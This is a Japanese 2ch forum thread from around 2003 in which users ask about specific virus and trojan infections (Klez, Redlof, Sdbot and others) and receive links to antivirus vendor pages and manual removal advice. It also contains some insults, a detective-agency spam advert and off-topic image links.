☆ウィルス情報＆質問　総合スレッド☆part9

ウィルスに関わる話題・質問はこちらに
ウィルスかどうかはウィルススキャンして判断してください。

IPAセキュリティセンターhttp://www.ipa.go.jp/security/isg/virus.html
Symantec Security Response
http://www.symantec.com/region/jp/sarcj/
Trend Micro ウイルス情報
http://www.trendmicro.co.jp/virusinfo/index.asp
McAfee ウイルス情報
http://www.nai.com/japan/virusinfo/vinfo.asp
オンラインウイルス検索
http://housecall.antivirus.com/housecall/start_jp.asp

[関連リンク]過去ログ・関連スレ等>>1-20あたり 補足>>1-50

・ウィルス用ソフトを入れて無い人は(知識や技術のある人を除いて)速やかに入れましょう
無料ウィルス用ソフトAVP/AVG/Ad簡(その２
http://pc.2ch.net/test/read.cgi/sec/1027400238/l50

・[Ctrrl]か{コマンド}と{F}キーを押すとページ内検索が出来ます
このスレや過去スレの過去ログを検索してから質問してください
2chスレッド検索http://www.ruitomo.com/~gulab/k.html

・ノートンを使用して誤反応かな　と思う人はこちら
ノートンがvbsウィルスのソースに誤反応２
http://pc2.2ch.net/test/read.cgi/pcqa/1033948204/l50

シマンテックセキュリティチェック（オンラインウィルススキャンができる）
http://www.symantec.com/region/jp/securitycheck/index.html
ウイルスバスターオンラインスキャン
http://www.trendmicro.co.jp/hcall/index.asp

過去スレ
このウイルス何？
http://pc.2ch.net/test/read.cgi/sec/999636595/l50
☆ウィルス情報＆質問　総合スレッド☆
http://pc.2ch.net/sec/kako/1010/10109/1010948022.html
☆ウィルス情報＆質問　総合スレッド☆part2
http://pc.2ch.net/sec/kako/1016/10168/1016863569.html
☆ウィルス情報＆質問　総合スレッド☆part3
http://pc.2ch.net/sec/kako/1020/10206/1020696417.html
☆ウィルス情報＆質問　総合スレッド☆part4
http://pc.2ch.net/sec/kako/1024/10240/1024061532.html
☆ウィルス情報＆質問　総合スレッド☆part5
http://pc.2ch.net/sec/kako/1027/10273/1027397623.html
☆ウィルス情報＆質問　総合スレッド☆part6
http://pc.2ch.net/sec/kako/1031/10317/1031796923.html
☆ウィルス情報＆質問　総合スレッド☆part7
http://pc.2ch.net/sec/kako/1035/10354/1035401865.html
☆ウィルス情報＆質問　総合スレッド☆part8
http://pc.2ch.net/test/read.cgi/sec/1039859073/

>>1士ね

Symantec Security Check
http://security2.norton.com/SSC/GetBrowser.asp?pkj=TICCYSHSFVIGMKIIPLB&scantype=2&plfid=20&langid=jp&venid=sym&from=/ssc/lunavbrk.asp
オンラインウイルス検索
http://housecall.antivirus.com/housecall/start_jp.asp

検索窓にファイル名等を入力して利用。
基本中の基本だけど、ワクチンベンダーごとに、ウイルスの命名は違う。

Symantecウイルス辞典日本語版
http://www.symantec.com/region/jp/sarcj/vinfodb.html
Symantecウイルス辞典英語版（日本語版と微妙に内容が異なる事がある）
http://www.symantec.com/avcenter/vinfodb.html

TrendMicroウイルス情報
http://www.trendmicro.co.jp/vinfo/

McAFEEウイルス情報
http://vil.mcafee.com/default.asp?

[ウィルス対策ソフト]　
【ノートン】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.20【2003】
http://pc.2ch.net/test/read.cgi/sec/1045790391/l50
【不具合】ウイルスバスター2003Part7【警告書】
http://pc.2ch.net/test/read.cgi/sec/1045411876/l50
がんばれマカフィーPART2
http://pc.2ch.net/test/read.cgi/sec/1036507506/l50
がんばれ!!ウイルス警備隊Ｖ３
http://pc.2ch.net/test/read.cgi/sec/1005442785/l50

[ウィルス対策ソフト（無料）]
無料ウィルス用ソフトAVP/AVG/Ad簡(その２
http://pc.2ch.net/test/read.cgi/sec/1027400238/l50
H+BEDV Antivir Personal Edition Part2
http://pc.2ch.net/test/read.cgi/sec/1016561367/l50
【フリー】AVG Anti-Virus　Version6
http://pc.2ch.net/test/read.cgi/sec/1043502704/l50
アンチドートを語ろう♪
http://pc.2ch.net/test/read.cgi/sec/1003987914/l50
最強のウィルス対策用ソフト
http://pc.2ch.net/test/read.cgi/sec/1000957607/l50

「森で遊ぼう」
(ファイヤーウォールソフト・無料ウィルス用ソフト等セキュリティ関係解
説サイト
ダウンロードページのリンク　日本語解説ページあり)
http://eazyfox.tripod.co.jp/


・IE(インターネットエクスプローラ)やOE(アウトルックエクスプレス)は危な
いと感じた人達へ
ネスケ（ネットスケープコミュニケータ）やOperaを使用するという手段があることも
念頭にいれておいてください
http://home.netscape.com/ja/
http://www.jp.opera.com/

新種のウィルスが流行したときは専用スレのリンクよろしくお願いします

「Nimda !! 」【その４】
http://pc.2ch.net/test/read.cgi/sec/1001864573/l50
猛威をふるう BADTRANS.B　Re: メール （４通目）
http://pc.2ch.net/test/read.cgi/sec/1008355163/l50
HDぜんぶ消去した上ズタズタに！！ウィルス
http://pc.2ch.net/sec/kako/1001/10016/1001662997.html
Flashムービーに感染するウィルスが登場！
http://pc.2ch.net/sec/kako/1010/10105/1010564675.html
'code red'wormに続きw32/sircam
http://pc.2ch.net/test/read.cgi/sec/995726416/l50
W32.Aliz.Wormって何？
http://pc.2ch.net/test/read.cgi/sec/1006266327/l50
またIEにセキュリティホール！
http://pc.2ch.net/test/read.cgi/sec/1008610094/l50
開いただけでウイルスに感染するページ
http://pc.2ch.net/test/read.cgi/sec/994847789/l50
WORM_GONE.A
http://pc.2ch.net/sec/kako/1007/10075/1007514716.html
Ｍａｃ用ウイルス対策ソフト　
http://pc.2ch.net/test/read.cgi/sec/1007675941/l50

virus下さい。
http://pc.2ch.net/test/read.cgi/sec/996909531/l50
みんなでウイルスつくろうよ！！
http://pc.2ch.net/test/read.cgi/sec/1008248305/l50　
[初心者必見]分かりやすいnimda対策ページ
http://pc.2ch.net/sec/kako/1001/10014/1001407163.html
コードレッドパート5 日本政府は反省汁
http://pc.2ch.net/test/read.cgi/sec/997783469/l50
KDMEMPKD.EXEってなに？
http://pc.2ch.net/sec/kako/1011/10113/1011333304.html
怪奇画像（怖い女）が一定感覚で現れる症状
http://pc.2ch.net/test/read.cgi/hack/1011083919/l50
気持ち悪い女の顔が
http://pc.2ch.net/test/read.cgi/sec/1012037926/l50
今日最新のウイルスって・・・！！(Myparty)
http://pc.2ch.net/test/read.cgi/sec/1012220835/l50
HDぜんぶ消去した上ズタズタに！！ウィルス ２台目
http://pc.2ch.net/sec/kako/1012/10122/1012296560.html
破損、トロイ、ウィルス入り ４
http://tmp.2ch.net/download/kako/1016/10168/1016806114.html

【ネット】『C』で記述した初のウイルスが登場
http://news.2ch.net/newsplus/kako/1015/10150/1015048480.html
ダイヤルQ2か国際電話に接続を切り替えるやつ
＜IT＞CからZドライブを全て上書きするFinal Fantasyワーム
http://news.2ch.net/newsplus/kako/1015/10159/1015938003.html
【ウィルス警報】patch.exeに注意しる！
http://pc.2ch.net/test/read.cgi/sec/1016082075/l50
＜IT＞ご注意！チェック済み装うウイルス「マイライフＢ」
http://news.2ch.net/newsplus/kako/1016/10168/1016802914.html
ADSLユーザーにも 国際電話発信トラブル
http://pc.2ch.net/test/read.cgi/sec/1016106504/l50
【勝手にDLし勝手に実行！ひとりエッチ上手なIE6】
http://pc.2ch.net/sec/kako/1016/10164/1016485189.html
ＩＥ５・５と６・０、ネット閲覧ソフトに欠陥
http://pc.2ch.net/test/read.cgi/sec/1005605775/l50
PE_Mtx.A, WORM_MTX.A　に犯されました。
http://pc.2ch.net/sec/kako/1015/10159/1015939831.html
開いただけでウイルスに感染するページ
http://pc.2ch.net/test/read.cgi/sec/994847789/l50
Klez系,Klez.Eスレッド
http://pc.2ch.net/sec/kako/1018/10182/1018248786.html

汚染を除去しました。

>>4
氏ね
http://www.google.co.jp/search?q=%E2%97%86FdL1jBqM3g&ie=UTF-8&oe=UTF-8&hl=ja&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=

情報・質問　よろしこ

メールでウイルスらしきものが送られてきたのですが
それからしばらくしてから
Ｃフォルダの中に t3vvから続くネームのファイルが数十個できてます
容量は０ですがネットゲームなどでＬＡＧが激しくなって辛いです。。。
なんのウイルスですかね？

>>1　乙かれ

>>14
>ウィルスかどうかはウィルススキャンして判断してください。
>>1>>4

乙

port17300ってなに？なぜ話題にならないの

質問です

VBS.LoveLetter.Var
VBS.LoveLetter.A
Macro.srcが2つ
W32.Klez.H@mm

上記のウィルスに感染したことがNorton AntiVirusでわかりました。
検疫から復元しようとしても「復元できませんでした」と表示され、どうしてよいか悩んでいます。

感染ファイルはソフトにより隔離されているようなのですが、これらのファイルは削除してもよいのでしょうか？
batファイルやinstall.exeなども含まれています。

アドバイスよろしくお願いいたします。

REDLOFって危険ですか?かってに増殖とかするのでしょうか

>>19
判断できませんが、何か？
具体的なファイル名を晒しなさい。

>>20
ある程度はご自身で調べられてはいがかでしょうか。

http://members.jcom.home.ne.jp/aisora/subREDLOF.htm
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=VBS_REDLOF.A
http://www.symantec.com/region/jp/sarcj/data/h/html.redlof.a.html
http://www.nai.com/japan/virusinfo/virR.asp?v=VBS/Redlof@M
http://www.sophos.co.jp/virusinfo/analyses/vbsredlofa.html
http://www.ah.wakwak.com/~winfaq/cgi-bin/wforum.cgi?mode=allread&no=226118&page=0

>>21
ファイル名は

1034171196.dat
1034781170.dat
1036519761.dat
1041230281.dat
app[1].bat
bgcolor.exe
hspace.scr
install.exe
yuzu2

です。

前スレに間違って書き込んでしまったのでこちらにコピペさせてもらいます
>>705
>>800番台
でsvchost.exeの話が出ていましたが、私も聞きお尋ねしたいことがあるのでよろしくお願いします

当方環境
NT:FileServer *1 / 98:proxy *1 / 98.SE.Me: *10 / xpHome: *9

ある日会社に出社すると、meマシンのタスク右下に****ゲートウェイデバイス(忘れた、レジ〜だったような）が発見されましたとメッセージが出ました
誰かTAかなにかの通信機器を増設したのかなと思っていましたが。起動するたびに毎回出るしネットワークに依存するアプリケーションの
レスポンスが悪くなったので、調査を開始

最近導入したxp4台の内一番怪しい（管理がずさんなPC）をLANから外してみました..するとBINGO！！です、起動時Meのメッセージは表示されなくなりました。
タスクマネージャー確認しトラフィックを発生させると思わせる項目NetworkService（当たり前）でsvchost.exeの項目があったので他のマシンを確認してみると他のマシンは4つ稼動がしていないのに、管理がずさんなPCは5つ稼動していました。
そこでググって見るとsvchostとCodeBlue関連の説明があり、ずさんPCの再インストールをしてMSのSP1も導入
するとMeの起動時メッセージも出なくなりスタンドアロンのアプリ（98系でのみ稼動）も異常の発生する前に回復しました

ひと段落した思いきや、別のxpもレスポンスが悪いとの報告が有ったので調査開始
再インストールをしてもレスポンスに波があるというか、なかなかつながりません、一旦つながるとサクサク行くのですが急に悪化したりという状況
LANカードのドライバの入れなおし、ハブの交換、LANケーブルの交換...すべてだめ

そこでproxyのZAとBJDを停止したのですが解消されず
NTを止めるとxpとMe間ではサクサクとデータが流れます

多分NTも感染していると思われるのですが、単純に怪しい実行ファイルの削除・レジストリの変更をするだけでいいのでしょうか？
あと、このような現象が起こるのはCodeBlueで間違いないと考えて良いのでしょうか？
よろしくお願いいたします

http://www.google.co.jp/search?hl=ja&ie=UTF-8&oe=UTF-8&q=codeblue+svchost&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja
http://www.isskk.co.jp/support/techinfo/general/codebluej_xforce.html
ここを見ると3年前にパッチが出ていると書いていますた....逝ってよしですね

特定のアドレスから毎日数通ウイルスが送られてくるのですが
携帯メールみたいに受信拒否指定みたいなやり方があったら教えてください。

>>26
最低でもメーラーの名前は書かないと、誰も返事してくれません
アウトルックエクスプレスならツール中のメッセージルールだが...

>>27
忘れてました。すいません。
＠メールというやつです。富士通です。

>>24-25
CodeBlueは、感染例がほとんど無いんですが。IIS導入してなければ、喰らわないし。

svchost.exeというファイルを作成しるウイルスは、こゆのもあったりして。
http://www.symantec.com/region/jp/sarcj/data/w/w32.hllw.cozit.html
http://www.symantec.com/region/jp/sarcj/data/b/backdoor.litmus.203.b.html

>一旦つながるとサクサク行くのですが急に悪化したりという状況
>NTを止めるとxpとMe間ではサクサクとデータが流れます

パソのネットワーク関連の設定ミスとかって可能性は無いんでしょか。
台数がやや多いようですが、マスタブラウザとかブラウジングとか。
ZoneAlarmって、そゆ名前解決のトラフィックはブロックしても表示してくれなかったりするんで。
Sygate PFWのFree版突っ込んで、パケットログを取るように設定して、BlockAllをポチッと押して観測しるとか。
http://soho.sygate.com/
http://members.tripod.co.jp/eazyfox/Firewall/Sybergen/Ver4/syga41.htm

>>24

怪しいファイルはとりあえず解析してもらうってのはどうでしょう？

http://www.symantec.co.jp/region/jp/sarcj/reference/submit.html

>>26
ToとFromを削除して書き込んでくれ。

>>31
だから、古いデータベース貼りつけるなよ。
お前だろ？xreaスレで不正中継がどーたらこーたら言って恥かいた奴は。

>>31
お前のコピぺ内容は古いデータばっかりだな。
ちゃんと自分で確認してるのか？

あら、ｹｺｰﾝ

レスありがとうございます

最初に感染経路とその状況も書いたほうがよかったですね
感染経路：ほかの会社に仕事に行ってP2Pでつないで仕事をした
　　　　　そこの会社では仕事中に職員がMXしてたという話...（W
状況　　：ノートン2002導入済み　パッチも12月後半までの分は実施済み

なぜCodeBlueと考えたかというと、exeファイルなのでアンチウィルスには引っかかりづらいとの記述があったからです
でも、たしかCodeBlueであればc\windows\にexeファイルがあるはずなのに、それが見つけられない...
Meは影響を受けていない

>>29さんへ
>パソのネットワーク関連の設定ミスとかって可能性は無いんでしょか
いまトラフィックが発生しているXpも去年の時点ではなんともたかったのです
再インストール（怪しい）PCを導入した時点では、ネットワークに何の障害も出ていなかったですし

>>Sygate PFWのFree版突っ込んで、パケットログを取るように設定して、BlockAllをポチッと押して観測しるとか
なりほどそういう手がありますね、クライアントに入れてほっとけば、どこからパケットが飛んで来てるか判るのですね
外部につながるクライアントにはアンチウィルスを入れていたのですが、NTに入れるとデータ転送速度の低下が考えられたので導入はしていなかったです
NTにノートンを入れて検索もやってみます
私が書いた、NTを止めてxpとMeでは問題なしということであれば、NTに依存する問題であるという考えは間違ってるでしょうか？

>>30さんへ
怪しいファイルを見つけられないのです...

原因が判らないと社内大インストール大会が始まります....(藁藁藁

>外部につながるクライアントにはアンチウィルスを入れていたのですが、NTに入れるとデータ転送速度の低下が考えられたので導入はしていなかったです
これSygate PFWのことではなくてノートンのことです

質問です。
当方Windows2000、ウイルスバスター2003使用のPCなのですが、
さきほどからパソコンがガリガリ鳴り出しまして、ウイルスバスターの
パーソナルファイアーウォールログをみましたところ、
「トロイの木馬ブロック」が一分間に何回もあるみたいなんです。
不安になって接続切ってウイルス検索かけたのですが、ウイルスは検出されませんでした。
ウイルスないのに木馬が攻撃してくることってあるのでしょうか？

ちなみに数日前まで、STDE9.exeというファイルがウイルス検索に引っかかり、
調べてみたところTROJ_FLOOD.BI.DRに犯されていたのですが、
trendmicroのホームページ通りの処置をしてここ数日間はウイルスの検出が
ない状態でした。今回はウイルス検出もないのにトロイアタックを受けて
へこんでいます。アドバイスお願いします。

>>37
トロイの木馬ブロックってのは
必ずしもトロイが進入しようとしたってわけではなく
ある種のトロイがよく使うPortに何か来たよ、って警告だと思われ
ゴミパケかも知れないし、トロイかも知れない
ただ、ブロックで出てればほぼ問題はないと思われ

さらに調べたところ、以下のような記述が掲示板にありました。

>外部からの操作を可能にするための通信プログラムである "PSEXEC.EXE" を使用して、「TROJ_FLOOD.BI.DR」のコンポーネントである "STDE9.EXE" を作成して実行します。
>また、"PSEXEC.EXE"はプログラム自体の機能としては不正なものではありませんのでウイルス検出はありません。
タスクバーの何も無い部分でマウス右押し→タスクマネージャー→プロセスで確認して味噌。

この操作をしたところ、PSEXEC.EXEはなかったのですが、PSEXESVC.EXEというものがみつかりました。
どう対処すればよいのでしょうか？お願いします。

>>39
もう１回ウイルスバスターで全てのドライブをスキャン。

バスター検索では発見できなかったので、ノートンの方のオンラインスキャンを試してみました。
その結果、
C:\WINNT\Temp
C:\WINNT\Web
C:\WINNT\system32
のなかから
Backdoor.IRC.Zcrew
IRC.Trojan
Backdoor.Sdbot
の三種類に感染したファイルが全部で19個見つかりました。
ただし、メモリ上でウイルスは見つかりませんでした、とも表示されました。
バスター君では検出してくれないので対応しようがないのでしょうか？
一応トレンドマイクロのHPでウイルス名で検索して対応策をとってみます。
あぁ・・・19個もとは・・・鬱だ

度々すみません。今さっき、下記のウイルスが検出されました･･･
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_GLITCH.DRP
削除手順の1）2）はレジストリが存在しなかったため、作業を飛ばして
3）をやっているのですが、
explorer.exeはウインドウズが使用中と表示されて削除することが出来ません。
どうすればよいでしょうか？

↓↓↓↓↓★ココだ★↓↓↓↓↓
http://jsweb.muvc.net/index.html

>>42
ノートンオンラインスキャンでexplorer.exeが感染してなければ削除しなくていい。感染してたら君には無理そう。
データのバックアップとって、素直に再インストが一番速いと思う。

でも一分間に10回もトロイアタックがあってパソコンがカタカタとうるさいのです。
それ以外の被害は格別ないといえばないのですが。

★あなたのお悩み解決致します！！
●浮気素行調査
彼氏、彼女、妻、夫の浮気を調査致します！！
●盗聴器盗撮機発見
あなたの部屋に誰かが仕掛けているかも！！
●行方調査
行方不明になっている家族の消息を調査致します！！
●電話番号から住所割り出し
一般電話、携帯から住所を割り出し致します！！
●ストーカー対策
社会問題ともなっているストーカーを撃退致します！！
その他人生相談からどんなお悩みでも解決いたします！！
　直通　　０９０−８５０５−３０８６
ＵＲＬ　　http://www.h5.dion.ne.jp/~grobal/
メール　　[email protected]
　　　グローバル探偵事務局　

>>21さんに言われたとおり>>23の方にファイル名を書いたのですが
どなたかわかる方いらっしゃいませんでしょうか？

>>47
ノートンが復元できなくて、それを使いたいなら手動で復元しなきゃいけないわけだが、
>>47はできないんだろう。それなら削除してしまえ。
本当に必要なプログラムは正規ユーザならバックアップ媒体から復元できるから問題ない。

>ひろちゃんたん
>NTに入れるとデータ転送速度の低下が考えられたので導入はしていなかったです
ノートンって、ネットワーク経由でスキャンできなかったっけ？
以前やった記憶が。
もちろん、捨てルーター経由で2台だけ接続してやりますたが。

んでも漏れは多少手間かかっても、HDぶっこ抜いてやってまする（お奨めしませぬが）。
で、レジストリは手動で修復みたいな。

>NTを止めてxpとMeでは問題なしということであれば
NTってServerでしょか、それともWorkstation。漏れはWorkstationだと判断してレスしたんすけど。

ブラウジング関連としては。
http://www.samba.gr.jp/doc/browsing/browsing01.html
http://www.zdnet.co.jp/help/howto/win/win2000/0007special/dns/chap1/11.html
http://homepage2.nifty.com/winfaq/c/network.html#986
http://support.microsoft.com/default.aspx?scid=kb;ja;JP136712
http://www.ms-atelier.com/mobile/thinkpad/2000.html

>>48
レスどうもです！

もちろん正規ユーザです。
ノートンが検疫で見つけた感染ファイルは自動でバックアップが取ってあるということなのでしょうか？

ここだとスレ違いかもしれませんがOpenJaneを使ってまして、そのdatファイルが感染しているようなのです。
他にもJane以外での感染もあるのですが、Janeのdatファイルについているウィルスというのは
本当にウィルスなのでしょうか？勝手な想像なのですが、Janeの中のスクリプトなどを勘違いしているとも思いました。

結局、ノートンがウィルスを発見した段階で元ファイルを隔離してくれているとしたら
何も考えずに感染ファイルは削除してもよいということで合ってますか？

>>50
ウィルスじゃないな･･･
もちろん>>2に書かれていた
ノートンがvbsウィルスのソースに誤反応２
http://pc2.2ch.net/test/read.cgi/pcqa/1033948204/l50
↑は見たよな、見てから聞いてるんだよな、
　当然考えられる検索はやったもんな

>ノートンって、ネットワーク経由でスキャンできなかったっけ？
>以前やった記憶が。
>もちろん、捨てルーター経由で2台だけ接続してやりますたが。
できますです、やってみます
もう頭から手動でやらないとだめと思っていたものですから、
ありがとうございます

ttp://www.asahi-net.or.jp/~bj9k-tn/image/gate2.png

ニムダってMAILER-DAEMONや postmasterからメールを送信することってあるの？？

単純に考えれば私が無差別にアドレスを生成してメールを送信すればこのようなことになってもおかしくはないと思うけど

>>51
すみません。見てませんでした・・・（;´Д⊂）

それ以外のKlezなどが怖いです。>>50の後半に書いてある認識でよいのでしょうか？

ウイルスなのかどうか困ってます

ノートンＩＮＳ２００３無反応。　バスターオンラインスキャンも検出ナシ
ＨＰの更新かけようとファイルをアップロードするとJavaが勝手に挿入されます。
・・・該当するようなウイルスがあるならウイルス名教えてください　（´Д｀；）

>>55
vbsならRedlofとか。

プロバとかの設定の都合で、リファラーとかカウンターとか広告系のジャバスクが挿入とかではないんでしょか。

>>56
スクリプト自体はブラウザを判定するものらしいです。
（イロイロ検索して同じ記述のをＪＡＶＡサイトでみかけました）

ファイルをＵＰしてる鯖はレンタル（有料）のところなので勝手に
スクリプトを挿入される事はないです。

特に害がないようなら気にするな、ですませてしまっても
いいものでしょうか？

OSは2K。使用メーラーはBecky! Ver.2です。
ノートンアンチウイルス2003を導入したら
YAHOO!アカウントのメールが送受信できなくなりました。
ISPのメールは送受信できるようになったんだけど。

POP3は　***.*.*.* （*は数字）
SMTPは　smtp.mail.yahoo.co.jp
ユーザーIDは　****/pop.mail.yahoo.co.jp（*はアカウント名）なんですけど。
YAHOOメールを使っている方、設定はどうしていますか？

レッドロフの症状でデスクトップの壁紙が表示されなくなるってのが
ありますがウイルスを駆除してもそれが直らないのは普通ですか？

>>59
デスクトップのdesktop.iniとfolder.httを削除するとか。

>>55
他の所で捨てHP作って試すとか。
http://tadamono.to/homepage.html

あとは、ファイルの保存時とかFTPでの転送時に、htmlエディタが勝手に挿入してるとか。

どなたか>>54の後半部分を答えていただけると助かります。

>>62
隔離されたものに正常なファイルはなく
ウイルスプログラムだけです。
隔離リストに入ってしまえば、ファイルは暗号化されるので
ファイルとして正常に動作しません。

>>63
レスありがとうございます。

ということは、再インストールした方がよいということですね？
ノートン導入していて定義も常に気を配っていたにもかかわらず
なぜ、感染してしまったのでしょうか？

添付ファイルは当然のこと、怪しい物には一切手をつけていなんです。
そういう場合でも感染してしまうことってあるのでしょうか？

当方win2000使用。ウイルスバスターはいっているのですが、
先日TROJ_GLITCH.DRPが発見されました。（ファイル名はSTDE9.exe）
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_GLITCH.DRP
以降、ウイルスバスターのファイアーウォールログに5秒に一回くらい
トロイの木馬ブロックが表示されるようになりました。
しかし、全ドライブ検索してもウイルスは見つかりません。
このような場合どう対処すればよいのでしょうか？

質問です。
win2000で、何か（忘れた）のウイルスに感染、手動で除去しました
レジストリーも修正しなければならなかったが、やりかたわからず放置
しばらくしたら、ハードディスクがハード的に故障しました。（メーカーいわく）
ウイルスで、ハード故障なんてあるのですか

>>66
＞ウイルスで、ハード故障なんてあるのですか
あるよ

>>67
レス　サンクスです
あるんですか　
完全に取りきれてなかった為かな　やはり

＞あるよ
( ´_ゝ`)ﾌﾟ

>>69
（・∀・）ﾆﾔﾆﾔ

>>69
(　´д)ﾋｿ(´д｀)ﾋｿ(д｀ )

>>69
( ﾟдﾟ)ﾎﾟｶｰﾝ

age

今日、立ち上げたらＲっていう文字のついたやつがタスクトレイに！
タスクマネージャーからr_sever.exeってかいたやつが怪しそうだったので
削除しようとするが、送り先が使用中といわれ削除できない！
ウィルススキャンでは、W32.Klez.H@mmトロイに感染したファイルは削除しましたが
Backdoor.Sdbotに感染していると言われたものは削除しようとしましたがそこには
なにもなく？そのままです。どなたか、上記のやつを退治する方法知りませんでしょうか？
ちなみに、シマンテックの推奨する手動駆除方法では、レジストリの変更のところで
この値を探せといっているものが私のパソには見当たらず、はて？と言った感じで
そこで行き詰まっています。よろしくお願いします。
ちなみに、ＯＳはＷ２Ｋです。

>>74
これだよね。
http://www.symantec.com/region/jp/sarcj/data/b/backdoor.sdbot.html
Backdoor.Sdbotの発見場所とどのレジストリが見当たらなかったか明確に。

☆森高千里さんの画像☆
http://wow.bbspink.com/test/read.cgi/girls/1039375305/977
(　´,＿ゝ‘)ﾌﾟｯ

質問でつ。よろしくおねがいしまつ。

HPを運営しているんですが、
見た人から「ウィルスに感染してるよ」と報告がありました。
自分ではよくわかんないのですが、ウィルス感染はどこでしらべられますか？
あと対策法をおおしえください。

>>77
>>2

>>77
アンチウィルス(ウィルス対策製品)ぐらい買って常駐させとけよ。

ご相談するまでもなく解決しますた。
失礼しました〜♪

>>80
あのなあ、解決したらしたで、どう解決したか書くのがマナーというもんだ。
二度と来ないでくれ。

>>81
まぁこれでも見て落ち着けよ
http://wasi.mods.jp/imgboard/img/img20030219160316.jpg

>>82
ヽ(`Д´)ﾉ ｳﾜｧｧｧｧｰｰｰｰｰｰﾝ!!! 夢に出そうだ(w

≫75
こんなんでした。

次のレジストリキーを1つずつ選択します。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\RunServices

上記のキーごとに、画面右側で次の値を探し、発見した値を削除します。

Configuration Manager Cnfgldr.exe
System Monitor Sysmon16.exe

(またはトロイの木馬として検出されたファイルを参照している値）

ここでRunはありましたがその中に上記値はありませんでした。
またRunServicesはそのものがありませんでした。

とこんな感じです。

お邪魔します。
本日OnMouseOutという件名の添付ファイルつきメールが届きました。
これは開いたらヤバイですか？

>>85
>1を読み直す。件名・ファイル名では判断できない。

55です。　あれからイロイロと調べていじってみた結果
自ＰＣでJAVAが含まれているＷＥＢページのソースを見ると
ヘンなスクリプトが追加されてしまうことがわかりました。
（自分のサイト以外のトコのでも）
原因はわかりませんが、ウイルスではないようなので（ジョーク系のようです、多分）
他スレに逝ってみます。

cheshire-cat ◆PhCATJR.v6 さん、ありがとうございました

age

jdbgmgr.exe

ってウイルスなのですか？
灰色のテディベアのアイコンが表示されています。

>>89
｢そのファイル名　ウイルス｣でぐぐれ。
どうせ、メールで回ってきた話なんだろ。

>>89
何度も何度も既出。検索するなり過去ログ読んでから書き込んで欲しい。

「jdbgmgr.exe」に関するデマメール情報
http://www.ipa.go.jp/security/topics/alert140515.html

今日、ノートンがMacro.srcなるウィルスを感知したのですが、これについて
情報を調べてみてもどこにものってないんです。
これはいったいなんなんですか？？

>情報を調べてみてもどこにものってないんです。
大嘘つきめ
http://www.google.com/search?q=%22Macro.src%22&ie=UTF-8&oe=UTF-8&hl=ja&btnG=Google+%E6%A4%9C%E7%B4%A2

(´-`).｡oO(http://pc2.2ch.net/pcqa/で訊くべき質問多すぎ…)

時間を置いてCDドライブのアクセスランプが
勝手に点灯したりするんですが
ウイルスにやられちまってるんでしょうか？
ウイルスバスターオンラインで一応調べてみたんすが、
何も検出はされなかったんです。

>>95
アンチウィルスソフトぐらい買って常駐させとけ。
最新定義で検出されなかったら、ウィルスの可能性はかなり低い。

age

あげ

W32.HLLW.Lovgate.C@mm
http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
WORM_LOVGATE.C
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_LOVGATE.C
W32/Lovgate@M
http://www.nai.com/japan/virusinfo/virL.asp?v=W32/Lovgate@M

あぼーん

>100
板違い。帰れ。

WINMEでノートンアンチウィルス使用なのですが
画面にIEの背景緑の窓が開き、顔文字らしきものが書いてあります。
その窓がデスクトップ上を勝手に動き回りWINも強制終了出来ません。
多分hotmailからの感染だと思うのですがやっぱウィルスですか？汗
ノートンさんには引っかからなかったんだけど．．．。

>>102
Hotmailもウィルスチェックしてるんだけどなぁ。
ジョークプログラムじゃないの？

　　

>>104
氏ね、無断コピぺ厨房

>>104
お前がよくコピペしてる不正中継のデータ、ちゃんと確認してるか？
中継したように見せ掛ける鯖があるんだぞ。

age

先日、メールに乗ってやってきたW32.Klez.H@mmとW32.ElKernにPCが感染しました。
即駆除し、トレンドマイクロとシマンテックのオンラインスキャン
及びノートンでもウィルススキャンして、感染ファイル0を確認した上で
PCをリカバリーし、再度ウィルススキャンをかけて感染ファイルがない事を確認しました。
しかしながらPCがちょっと不審な動きをしたように感じただけで、
ウィルスがまだPCに潜在しているのではと気になってしかたがありません。

ここまでやって感染が確認されなければ、ウィルスは消滅したと考えてもよろしいのでしょうか？
googleで検索した対処法では、ウィルス感染PCを駆除しないままリカバリーしても
ウィルスは駆除出来ると書いてあったのですが、駆除した上でのリカバリーなら
なお安心してもよろしいのでしょうか？
どうかご教授お願いいたします。

長文で失礼いたしました。

>>108
リカバリーがハードディスク初期化+OS再インストールを意味しているなら感染はしていない。
もっと安心したいならPC買い換えろ。(w
それよりも、バスターかノートン買って常駐させとけ。

>>108
W32.Klez駆除ツール使ってみた？
http://www.symantec.com/region/jp/sarcj/data/w/w32.klez.removal.tool.html

きちんと駆除して、アンチウィルスソフトを最新定義で常駐させてれば気にすることはないはず。

WindowsUpdateもやっておくこと。

>>109さん
すみません、ど初心者なのでこれがOSの再インストールにあたるかはわからないのですが
リカバリーディスクによる、出荷時点への初期化をいたしました。
それがOS再インストール＆HDの初期化と考えてもよろしいのでしょうか？

>>110さん
はい。ウィルス駆除には、Klezスレッドを辿り、そのツールを頼る事で駆除がかないました。

お二方のアドバイスにありますように、今後は定義最新のソフトの常駐を万全とし
WindowsUpdateを怠らないよう肝に銘じておきます。
お二方のご教授とアドバイスに感謝します。ありがとうございましたm(＿)m

age

http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=VBS_MERASH.A&VSect=T

>>102
これかい？

>>102>>113
Hotmail のウィルスチェックって McAfee だから、
MERASH のようなウィルスでないとされるジョークプログラムは、すり抜けるということかな。

お願いします。

ttp://www11.ocn.ne.jp/~maki17/text/17sai_text/17sai.htm

確かに似たような感じですね。
毎日出るわけではないので．．．MERASH．Aも何かのタイミングで
行動を起こすのでしょうか．．．。
今度現象が出たらタスクマネージャーで見てみます。
でも前回タスクマネージャーが動かなかったんだよなぁ．．．。

>>113　ありがとうございました。

>>115
この板では鑑定はやらない。
ラウンジ　勇気がなくて見られない画像解説スレ part301
http://ex.2ch.net/test/read.cgi/entrance/1046318666/l50へ

